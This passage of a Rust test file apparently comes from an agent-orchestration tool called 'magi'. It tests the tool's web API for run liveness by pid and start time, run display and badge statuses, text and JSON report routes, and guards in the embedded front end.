18496        assert_eq!(
18497            old["origin_label"], "origin unknown (started before origins were recorded)",
18498            "{old}"
18499        );
18500        assert!(old["origin"].is_null(), "{old}");
18501
18502        let list = f.get("/api/runs").await.json();
18503        let labels: Vec<_> = list
18504            .as_array()
18505            .unwrap()
18506            .iter()
18507            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18508            .collect();
18509        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18510    }
18511
18512    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18513    /// review` claims no daemon at all, so before this field existed the
18514    /// route above read it as `"dead"` — indistinguishable from a run a
18515    /// killed process abandoned — the whole time it was genuinely still
18516    /// answering. With a live pid recorded, it must read `"live"` even
18517    /// though no daemon claims it.
18518    #[tokio::test]
18519    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18520        let f = Fixture::start().await;
18521        let id = "20260922-090000-cccc";
18522        let mut state = RunState::new(
18523            PathBuf::from("/repo/magi"),
18524            "main".to_owned(),
18525            "0123456789abcdef".to_owned(),
18526            "Review only".to_owned(),
18527            Config::default(),
18528        );
18529        state.id = id.to_owned();
18530        state.status = RunStatus::Reviewing;
18531        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18532        // This test process's own pid: guaranteed alive, and never needs a
18533        // real daemon or a second process to prove it. The matching start-time
18534        // marker is what `liveness` now requires alongside a live pid — see
18535        // `RunState::driver_started_at`'s own doc for why the pid alone is
18536        // not enough.
18537        state.driver_pid = Some(std::process::id());
18538        state.driver_started_at = Some(
18539            crate::proc::process_started_at(std::process::id())
18540                .expect("this test process's own start time must be queryable"),
18541        );
18542        let dir = f.runs().join(id);
18543        std::fs::create_dir_all(&dir).expect("run dir");
18544        std::fs::write(
18545            dir.join("run.json"),
18546            serde_json::to_string_pretty(&state).expect("serialize run"),
18547        )
18548        .expect("write run.json");
18549
18550        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18551        assert_eq!(detail["live"], "live", "{detail}");
18552    }
18553
18554    /// A killed manual run's pid can be handed to a wholly unrelated later
18555    /// process — a live query on `driver_pid` alone would read this as
18556    /// `"live"`, exactly the false positive `driver_started_at` exists to
18557    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18558    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18559    #[tokio::test]
18560    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18561        let f = Fixture::start().await;
18562        let id = "20260922-090100-dddd";
18563        let mut state = RunState::new(
18564            PathBuf::from("/repo/magi"),
18565            "main".to_owned(),
18566            "0123456789abcdef".to_owned(),
18567            "Review only".to_owned(),
18568            Config::default(),
18569        );
18570        state.id = id.to_owned();
18571        state.status = RunStatus::Reviewing;
18572        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18573        // This test process's own pid really is alive, but the marker
18574        // recorded here does not match what it actually started at —
18575        // standing in for the pid having since been reused by a different
18576        // process than the one that wrote `run.json`.
18577        state.driver_pid = Some(std::process::id());
18578        state.driver_started_at = Some("1".to_owned());
18579        let dir = f.runs().join(id);
18580        std::fs::create_dir_all(&dir).expect("run dir");
18581        std::fs::write(
18582            dir.join("run.json"),
18583            serde_json::to_string_pretty(&state).expect("serialize run"),
18584        )
18585        .expect("write run.json");
18586
18587        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18588        assert_eq!(detail["live"], "dead", "{detail}");
18589    }
18590
18591    /// The deck's competition list is normally the first place an operator
18592    /// sees an old run. It must carry the same process verdict as detail, or
18593    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18594    #[test]
18595    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18596        let mk = |id: &str, pid: Option<u32>| {
18597            let mut s = RunState::new(
18598                PathBuf::from("/repo/magi"),
18599                "main".to_owned(),
18600                "0123456789abcdef".to_owned(),
18601                "Add a web UI".to_owned(),
18602                Config::default(),
18603            );
18604            s.id = id.to_owned();
18605            s.driver_pid = pid;
18606            s.driver_started_at = Some("1790000000".to_owned());
18607            s
18608        };
18609        let states = vec![
18610            mk("20260902-140502-aaaa", Some(77)),
18611            mk("20260902-140502-bbbb", Some(77)),
18612            mk("20260902-140502-cccc", Some(77)),
18613            mk("20260902-140502-dddd", None),
18614        ];
18615        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18616        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18617        let sup: HashMap<String, String> = [(
18618            "20260902-140502-aaaa".to_owned(),
18619            "20260902-140502-cccc".to_owned(),
18620        )]
18621        .into();
18622
18623        let status_calls = std::cell::Cell::new(0);
18624        let identity_calls = std::cell::Cell::new(0);
18625        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18626            |_| {
18627                status_calls.set(status_calls.get() + 1);
18628                Some(true)
18629            },
18630            |_| {
18631                identity_calls.set(identity_calls.get() + 1);
18632                Some("1790000000".to_owned())
18633            },
18634        ));
18635        let rows = summarize(
18636            states,
18637            &open,
18638            &claimed,
18639            &sup,
18640            |p| probe.borrow_mut().status(p),
18641            |p| probe.borrow_mut().started_at(p),
18642        );
18643
18644        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18645        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18646        assert_eq!(rows.len(), 4);
18647        assert!(!rows[0].waiting && rows[1].waiting);
18648        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18649        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18650        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18651        assert_eq!(rows[1].superseded_by, None);
18652    }
18653
18654    #[test]
18655    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18656        let mut state = RunState::new(
18657            PathBuf::from("/repo/magi"),
18658            "main".to_owned(),
18659            "0123456789abcdef".to_owned(),
18660            "Review only".to_owned(),
18661            Config::default(),
18662        );
18663        state.id = "20260922-090200-dead".to_owned();
18664        state.status = RunStatus::Reviewing;
18665        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18666            .expect("serialize list row");
18667        assert_eq!(row["status"], "reviewing");
18668        assert_eq!(row["display_status"], "stale");
18669        assert_eq!(row["live"], "dead", "{row}");
18670        assert!(!row["done"].as_bool().unwrap());
18671    }
18672
18673    #[test]
18674    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18675        use crate::run::Liveness::{Dead, Live, Unknown};
18676        let mut state = RunState::new(
18677            PathBuf::from("/repo/magi"),
18678            "main".to_owned(),
18679            "abc".to_owned(),
18680            "Review only".to_owned(),
18681            Config::default(),
18682        );
18683        for (status, parked, node, waiting, live, expected) in [
18684            (
18685                RunStatus::Judging,
18686                true,
18687                "github-text",
18688                false,
18689                Dead,
18690                "parked",
18691            ),
18692            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18693            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18694            (
18695                RunStatus::Judging,
18696                true,
18697                "github-text",
18698                true,
18699                Dead,
18700                "waiting",
18701            ),
18702            (
18703                RunStatus::Judging,
18704                false,
18705                "github-text",
18706                true,
18707                Dead,
18708                "waiting",
18709            ),
18710            (
18711                RunStatus::Judging,
18712                false,
18713                "github-text",
18714                false,
18715                Dead,
18716                "stale",
18717            ),
18718            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18719            (RunStatus::Judging, true, "park", false, Live, "judging"),
18720            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18721            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18722            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18723            (
18724                RunStatus::Blocked,
18725                true,
18726                "github-text",
18727                true,
18728                Dead,
18729                "waiting",
18730            ),
18731        ] {
18732            state.status = status;
18733            state.parked = parked;
18734            state.events.clear();
18735            state.event(
18736                "park",
18737                "an earlier park does not determine the latest state",
18738            );
18739            state.event(node, "message is not used for classification");
18740            let summary = RunSummary::of(&state, waiting, live);
18741            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18742            assert_eq!(
18743                summary.display_status, expected,
18744                "{status:?}/{node}/{live:?}"
18745            );
18746            assert_eq!(detail.display_status, summary.display_status);
18747            assert_eq!(detail.waiting, summary.waiting);
18748        }
18749        state.status = RunStatus::Judging;
18750        state.parked = false;
18751        state.events.clear();
18752        assert_eq!(run_display_status(&state, false, Dead), "stale");
18753    }
18754
18755    #[test]
18756    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18757        use crate::run::Liveness::{Dead, Live, Unknown};
18758        let mut state = RunState::new(
18759            PathBuf::from("/repo/magi"),
18760            "main".to_owned(),
18761            "abc".to_owned(),
18762            "Badge".to_owned(),
18763            Config::default(),
18764        );
18765        for (status, waiting, live, superseded, expected) in [
18766            (RunStatus::Gating, false, Dead, false, "stale"),
18767            (RunStatus::Gating, false, Dead, true, "superseded"),
18768            (RunStatus::Gating, false, Unknown, true, "superseded"),
18769            (RunStatus::Gating, true, Dead, true, "superseded"),
18770            (RunStatus::Gating, true, Dead, false, "waiting"),
18771            (RunStatus::Gating, false, Unknown, false, "gating"),
18772            (RunStatus::Gating, false, Live, true, "gating"),
18773            (RunStatus::Gating, true, Live, true, "waiting"),
18774            (RunStatus::Merged, false, Dead, true, "merged"),
18775            (RunStatus::Blocked, false, Dead, true, "blocked"),
18776        ] {
18777            state.status = status;
18778            let display = run_display_status(&state, waiting, live);
18779            assert_eq!(
18780                run_badge_status(&state, &display, live, superseded),
18781                expected,
18782                "{status:?}/{live:?}/superseded={superseded}"
18783            );
18784        }
18785    }
18786
18787    #[test]
18788    fn summarize_and_detail_expose_badge_status() {
18789        use crate::run::Liveness::Dead;
18790        let mut state = RunState::new(
18791            PathBuf::from("/repo/magi"),
18792            "main".to_owned(),
18793            "abc".to_owned(),
18794            "Badge".to_owned(),
18795            Config::default(),
18796        );
18797        state.status = RunStatus::Gating;
18798        let none = HashSet::new();
18799        let id = state.id.clone();
18800        let mut by = HashMap::new();
18801        let rows = summarize(
18802            [state.clone()],
18803            &none,
18804            &none,
18805            &by,
18806            |_| Some(false),
18807            |_| None,
18808        );
18809        // No driver recorded: liveness is not provably dead, so the node stays.
18810        assert_eq!(rows[0].badge_status, rows[0].display_status);
18811        by.insert(id, "20260901-000000-913b".to_owned());
18812        let detail = RunDetailView::of(
18813            state.clone(),
18814            false,
18815            Dead,
18816            Some("913b".to_owned()),
18817            None,
18818            None,
18819        );
18820        assert_eq!(detail.badge_status, "superseded");
18821        let json = serde_json::to_value(&detail).unwrap();
18822        assert_eq!(json["badge_status"], "superseded");
18823        let detail = RunDetailView::of(state, false, Dead, None, None, None);
18824        assert_eq!(detail.badge_status, "stale");
18825    }
18826
18827    #[tokio::test]
18828    async fn run_display_status_routes_share_the_open_question_store() {
18829        let f = Fixture::start().await;
18830        let id = "20260922-090200-abcd";
18831        write_run(&f.runs(), id, RunStatus::Judging);
18832        let mut state = read_run(&f.runs(), id).unwrap();
18833        state.parked = true;
18834        state.driver_exited = true;
18835        state.event("github-text", "waiting for the owner");
18836        state.save_under(f.home.path()).unwrap();
18837        let mut task = Task::new(
18838            "resumed task".to_owned(),
18839            "do it".to_owned(),
18840            PathBuf::from("/repo"),
18841            Source::Human,
18842        );
18843        task.runs = vec![id.to_owned(), id.to_owned()];
18844        f.queue().put(&mut task).unwrap();
18845        let store = f.questions();
18846        let mut q = Question::new(
18847            id.to_owned(),
18848            "github-text".to_owned(),
18849            "owner".to_owned(),
18850            "Approve the text?".to_owned(),
18851            String::new(),
18852            Vec::new(),
18853        );
18854        store.put(&mut q).unwrap();
18855        for expected in ["waiting", "parked"] {
18856            let list = f.get("/api/runs").await.json();
18857            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18858            assert_eq!(list[0]["display_status"], expected);
18859            assert_eq!(detail["display_status"], expected);
18860            assert_eq!(detail["waiting"], list[0]["waiting"]);
18861            assert_eq!(list[0]["badge_status"], expected);
18862            assert_eq!(detail["badge_status"], expected);
18863            assert!(list[0]["superseded_by"].is_null());
18864            assert!(detail["superseded_by"].is_null());
18865            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18866            let history = task_detail["history"].as_array().unwrap();
18867            assert_eq!(history.len(), 2);
18868            assert!(history[0]["badge"].is_null());
18869            assert_eq!(history[1]["badge"], expected);
18870            q.status = ask::QuestionStatus::Answered;
18871            store.put(&mut q).unwrap();
18872        }
18873    }
18874
18875    #[tokio::test]
18876    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18877        let f = Fixture::start().await;
18878        let id = "20260922-090200-abcd";
18879        write_run(&f.runs(), id, RunStatus::Judging);
18880        let mut state = read_run(&f.runs(), id).unwrap();
18881        state.parked = true;
18882        state.driver_exited = true;
18883        state.event("park", "stopped at a node boundary");
18884        state.save_under(f.home.path()).unwrap();
18885
18886        for expected in ["parked", "stale"] {
18887            let list = f.get("/api/runs").await.json();
18888            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18889            assert_eq!(list[0]["live"], "dead");
18890            assert_eq!(list[0]["display_status"], expected);
18891            assert_eq!(detail["display_status"], expected);
18892            // Model a driver claim followed by a crash before the next event:
18893            // the persisted flag changes, but the last event is still park.
18894            state.parked = false;
18895            state.save_under(f.home.path()).unwrap();
18896        }
18897    }
18898
18899    #[tokio::test]
18900    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18901        let f = Fixture::start().await;
18902        for id in [
18903            "20260902-140501-aaaa",
18904            "20260902-140502-bbbb",
18905            "20260902-140503-cccc",
18906        ] {
18907            write_run(&f.runs(), id, RunStatus::Merged);
18908        }
18909
18910        let all = f.get("/api/runs").await.json();
18911        let capped = f.get("/api/runs?limit=2").await.json();
18912
18913        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18914        assert_eq!(all.as_array().map(Vec::len), Some(3));
18915        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18916        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18917    }
18918
18919    #[tokio::test]
18920    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18921        let f = Fixture::start().await;
18922        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18923
18924        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18925
18926        assert_eq!(res.status, 200);
18927        assert!(
18928            res.headers
18929                .contains("content-type: text/plain; charset=utf-8"),
18930            "a browser must render it, not download it: {}",
18931            res.headers
18932        );
18933        // The assertion is on content, not on the absence of escapes: colour
18934        // is a process-global that `serve` turns off at startup, and another
18935        // test in this binary may own it while this one runs.
18936        assert!(
18937            res.body.contains("20260902-140501-a1b2"),
18938            "the report is about the run that was asked for: {}",
18939            res.body
18940        );
18941    }
18942
18943    #[tokio::test]
18944    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18945        // The view names the run's state directory, which reads the process-global home.
18946        crate::run::pin_test_home();
18947        let f = Fixture::start().await;
18948        let id = "20260902-140501-a1b2";
18949        write_run(&f.runs(), id, RunStatus::Stalled);
18950        // A stalled panel and one review round, written through the real
18951        // state file so the route reads what a run really leaves behind.
18952        let path = f.runs().join(id).join("run.json");
18953        let mut v: serde_json::Value =
18954            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18955        v["tally"] = serde_json::json!({
18956            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18957            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18958            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18959            "met_quorum": false, "rankings": 1
18960        });
18961        v["reviews"] = serde_json::json!([{
18962            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18963            "e2e_deferred": true,
18964            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18965                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18966            ]}]
18967        }]);
18968        std::fs::write(&path, v.to_string()).unwrap();
18969        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18970        std::fs::write(
18971            f.runs().join("20260902-140502-dead").join("run.json"),
18972            "{not json",
18973        )
18974        .unwrap();
18975
18976        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18977
18978        assert_eq!(res.status, 200, "{}", res.body);
18979        assert!(res.headers.contains("content-type: application/json"));
18980        let j = res.json();
18981        assert_eq!(j["schema"], 1);
18982        assert_eq!(j["header"]["id"], id);
18983        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18984        let kinds: Vec<&str> = j["sections"]
18985            .as_array()
18986            .unwrap()
18987            .iter()
18988            .map(|s| s["kind"].as_str().unwrap())
18989            .collect();
18990        assert_eq!(kinds, ["candidates", "tally", "review"]);
18991        let tally = &j["sections"][1]["tally"];
18992        assert_eq!(
18993            (tally["decided"].clone(), tally["provisional"].clone()),
18994            (false.into(), true.into())
18995        );
18996        let round = &j["sections"][2]["rounds"][0];
18997        assert_eq!(round["e2e"]["state"], "deferred");
18998        assert_eq!(round["findings"][0]["severity"], "major");
18999        assert_eq!(round["findings"][0]["blocking"], true);
19000        assert_eq!(round["findings"][0]["state"], "open");
19001
19002        // The raw route keeps working beside it.
19003        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19004
19005        // An unreadable run is an error, as on the text route, and is counted.
19006        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19007        assert_ne!(bad.status, 200, "{}", bad.body);
19008        assert_eq!(
19009            bad.status,
19010            f.get("/api/runs/20260902-140502-dead/report").await.status
19011        );
19012        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19013        assert_eq!(
19014            f.get("/api/runs/20260902-999999-ffff/report.json")
19015                .await
19016                .status,
19017            404
19018        );
19019    }
19020
19021    #[tokio::test]
19022    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19023        crate::run::pin_test_home();
19024        let f = Fixture::start().await;
19025        let id = "20260902-140503-delib";
19026        write_run(&f.runs(), id, RunStatus::Merged);
19027        let path = f.runs().join(id).join("run.json");
19028        let mut v: serde_json::Value =
19029            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19030        v["judgements"] = serde_json::json!([
19031            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19032        ]);
19033        v["tally"] = serde_json::json!({
19034            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19035            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19036            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19037            "met_quorum": true, "rankings": 1
19038        });
19039        v["deliberation"] = serde_json::json!([
19040            {
19041                "round": 1,
19042                "turns": [
19043                    {
19044                        "judge": 1,
19045                        "agent": "judge-1",
19046                        "body": "I prefer candidate **A** because it has cleaner tests.",
19047                        "tentative": "A"
19048                    }
19049                ]
19050            },
19051            {
19052                "round": 2,
19053                "turns": [
19054                    {
19055                        "judge": 1,
19056                        "agent": "judge-1",
19057                        "body": "Still thinking, no choice yet.",
19058                        "tentative": null
19059                    }
19060                ]
19061            }
19062        ]);
19063        std::fs::write(&path, v.to_string()).unwrap();
19064
19065        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19066        assert_eq!(res.status, 200, "{}", res.body);
19067        let j = res.json();
19068        let judging = j["sections"]
19069            .as_array()
19070            .unwrap()
19071            .iter()
19072            .find(|s| s["kind"] == "judging")
19073            .expect("judging section exists");
19074
19075        // Existing summary lines remain intact
19076        let delib_lines = judging["deliberation"].as_array().unwrap();
19077        assert_eq!(delib_lines.len(), 2);
19078        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19079        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19080
19081        // rounds carry turn bodies, tentative and parsed body_md
19082        let rounds = judging["rounds"].as_array().unwrap();
19083        assert_eq!(rounds.len(), 2);
19084        let r1_t0 = &rounds[0]["turns"][0];
19085        assert_eq!(r1_t0["judge"], 1);
19086        assert_eq!(r1_t0["agent"], "judge-1");
19087        assert_eq!(r1_t0["tentative"], "A");
19088        assert_eq!(
19089            r1_t0["body"],
19090            "I prefer candidate **A** because it has cleaner tests."
19091        );
19092        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19093
19094        let r2_t0 = &rounds[1]["turns"][0];
19095        assert_eq!(r2_t0["judge"], 1);
19096        assert_eq!(r2_t0["agent"], "judge-1");
19097        assert!(r2_t0["tentative"].is_null());
19098        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19099        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19100
19101        // A run with empty deliberation array yields empty rounds
19102        let id_empty = "20260902-140504-nodelib";
19103        write_run(&f.runs(), id_empty, RunStatus::Merged);
19104        let path_empty = f.runs().join(id_empty).join("run.json");
19105        let mut v_empty: serde_json::Value =
19106            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19107        v_empty["judgements"] = serde_json::json!([
19108            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19109        ]);
19110        v_empty["deliberation"] = serde_json::json!([]);
19111        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19112
19113        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19114        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19115        let j_empty = res_empty.json();
19116        let judging_empty = j_empty["sections"]
19117            .as_array()
19118            .unwrap()
19119            .iter()
19120            .find(|s| s["kind"] == "judging")
19121            .expect("judging section exists");
19122        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19123    }
19124
19125    #[tokio::test]
19126    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19127        let f = Fixture::start().await;
19128
19129        let html = f.get("/").await;
19130        let css = f.get("/app.css").await;
19131        let js = f.get("/app.js").await;
19132
19133        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19134        assert!(
19135            html.headers
19136                .contains("content-type: text/html; charset=utf-8")
19137        );
19138        assert!(css.headers.contains("content-type: text/css"));
19139        assert!(js.headers.contains("content-type: text/javascript"));
19140        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19141    }
19142
19143    #[test]
19144    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19145        let body = |name: &str| {
19146            let at = APP_JS
19147                .find(name)
19148                .unwrap_or_else(|| panic!("{name} missing"));
19149            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19150        };
19151        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19152        let note = body("function landRoundNote");
19153        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19154        assert!(note.contains("Land round ${round}"));
19155        let land = body("function renderLand");
19156        let note_at = land
19157            .find("landRoundNote(pr)")
19158            .expect("renderLand uses the note");
19159        assert!(
19160            note_at
19161                < land
19162                    .find("roundRail(pr)")
19163                    .expect("renderLand uses the rail")
19164        );
19165    }
19166
19167    #[test]
19168    fn the_runs_page_redesign_keeps_its_guards() {
19169        let body = |name: &str| {
19170            let at = APP_JS
19171                .find(name)
19172                .unwrap_or_else(|| panic!("{name} missing"));
19173            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19174        };
19175        // A null child must never reach the native append (it prints "null").
19176        let land = body("function renderLand");
19177        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19178        assert!(
19179            !land.contains("box.append("),
19180            "renderLand must use append()"
19181        );
19182        assert!(land.contains("append(box, ["));
19183        // Tabs are hash routes; the run id alone decides a reload.
19184        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19185        assert!(
19186            body("function applyRoute")
19187                .contains("route.name !== state.route.name || route.id !== state.route.id")
19188        );
19189        // The decorative diagram is gone, the strip and its guards stay.
19190        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19191        assert!(!INDEX_HTML.contains("advise-converge"));
19192        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19193        assert!(APP_JS.contains("provisional"));
19194        for id in [
19195            "run-tab-overview",
19196            "run-tab-timeline",
19197            "run-tab-report",
19198            "run-report",
19199            "runs-scope",
19200        ] {
19201            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19202        }
19203        assert!(!INDEX_HTML.contains("runs-tree"));
19204        assert!(!INDEX_HTML.contains("run-raw-panel"));
19205        // Fold still says it cannot be resumed.
19206        assert!(APP_JS.contains("resume"));
19207        // The unreadable-runs count stays on the page.
19208        assert!(APP_JS.contains("unreadable"));
19209    }
19210
19211    #[test]
19212    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19213        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19214        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19215        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19216        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19217        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19218        // The subtitle still counts them whatever the banner does.
19219        assert!(APP_JS.contains("unreadable` : null"));
19220    }
19221
19222    #[test]
19223    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19224        let mut state = RunState::new(
19225            "/repo".into(),
19226            "main".into(),
19227            "abc".into(),
19228            "task".into(),
19229            crate::config::Config::default(),
19230        );
19231        state.status = RunStatus::Blocked;
19232        state.gate_ran = true;
19233        state.gate.push(crate::run::CommandOutcome {
19234            command: "cargo make check".into(),
19235            code: Some(1),
19236            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19237            duration_ms: 0,
19238            resource_blocked: false,
19239        });
19240        let view = RunDetailView::of(
19241            state,
19242            false,
19243            crate::run::Liveness::Unknown,
19244            None,
19245            None,
19246            None,
19247        );
19248        let value = serde_json::to_value(view).unwrap();
19249        assert_eq!(
19250            value["stop_reason"],
19251            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19252        );
19253    }
19254
19255    #[test]
19256    fn the_run_detail_payload_says_whether_the_run_is_done() {
19257        // `landView` reads `run.done`; the detail response must carry it.
19258        for (status, done) in [
19259            (RunStatus::Superseded, true),
19260            (RunStatus::Blocked, true),
19261            (RunStatus::Landing, false),
19262        ] {
19263            let mut state = RunState::new(
19264                std::path::PathBuf::from("/repo"),
19265                "main".to_owned(),
19266                "abc".to_owned(),
19267                "x".to_owned(),
19268                crate::config::Config::default(),
19269            );
19270            state.status = status;
19271            let v = serde_json::to_value(RunDetailView::of(
19272                state,
19273                false,
19274                crate::run::Liveness::Unknown,
19275                None,
19276                None,
19277                None,
19278            ))
19279            .unwrap();
19280            assert_eq!(v["done"], done, "{status:?}");
19281        }
19282    }
19283
19284    /// The first node of a markdown block holds a `strong` somewhere.
19285    fn has_strong(nodes: &[md::Node]) -> bool {
19286        serde_json::to_string(nodes).unwrap().contains("strong")
19287    }
19288
19289    #[test]
19290    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19291        let mut state = RunState::new(
19292            std::path::PathBuf::from("/repo"),
19293            "main".to_owned(),
19294            "abc".to_owned(),
19295            "x".to_owned(),
19296            crate::config::Config::default(),
19297        );
19298        let proposal = |approach: &str| {
19299            serde_json::json!({
19300                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19301            })
19302        };
19303        state.advice = Some(
19304            serde_json::from_value(serde_json::json!({
19305                "records": [
19306                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19307                     "proposal": proposal("do **this**")},
19308                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19309                ],
19310                "synthesis": "- one\n- **two**\n\n`code`",
19311            }))
19312            .unwrap(),
19313        );
19314        state.candidates = serde_json::from_value(serde_json::json!([
19315            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19316             "summary": "did **it**"},
19317            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19318        ]))
19319        .unwrap();
19320        // Recorded in ascending severity, the reverse of how the page sorts
19321        // them: the arrays must follow the record, not the display.
19322        state.reviews = serde_json::from_value(serde_json::json!([{
19323            "round": 1, "head": "h",
19324            "reviews": [{
19325                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19326                "findings": [
19327                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19328                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19329                ],
19330            }],
19331            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19332            "fix": {"agent": "a", "notes": "fixed **it**",
19333                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19334        }, {"round": 2, "head": "h2", "reviews": []}]))
19335        .unwrap();
19336
19337        let v = serde_json::to_value(RunDetailView::of(
19338            state,
19339            false,
19340            crate::run::Liveness::Unknown,
19341            None,
19342            None,
19343            None,
19344        ))
19345        .unwrap();
19346
19347        let strong = |p: &str| {
19348            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19349            assert!(n.to_string().contains("strong"), "{p}: {n}");
19350        };
19351        strong("/advice_md/synthesis");
19352        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19353        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19354        strong("/advice_md/approaches/0");
19355        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19356        strong("/candidate_summaries_md/0");
19357        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19358        strong("/reviews_md/0/reviewers/0/summary");
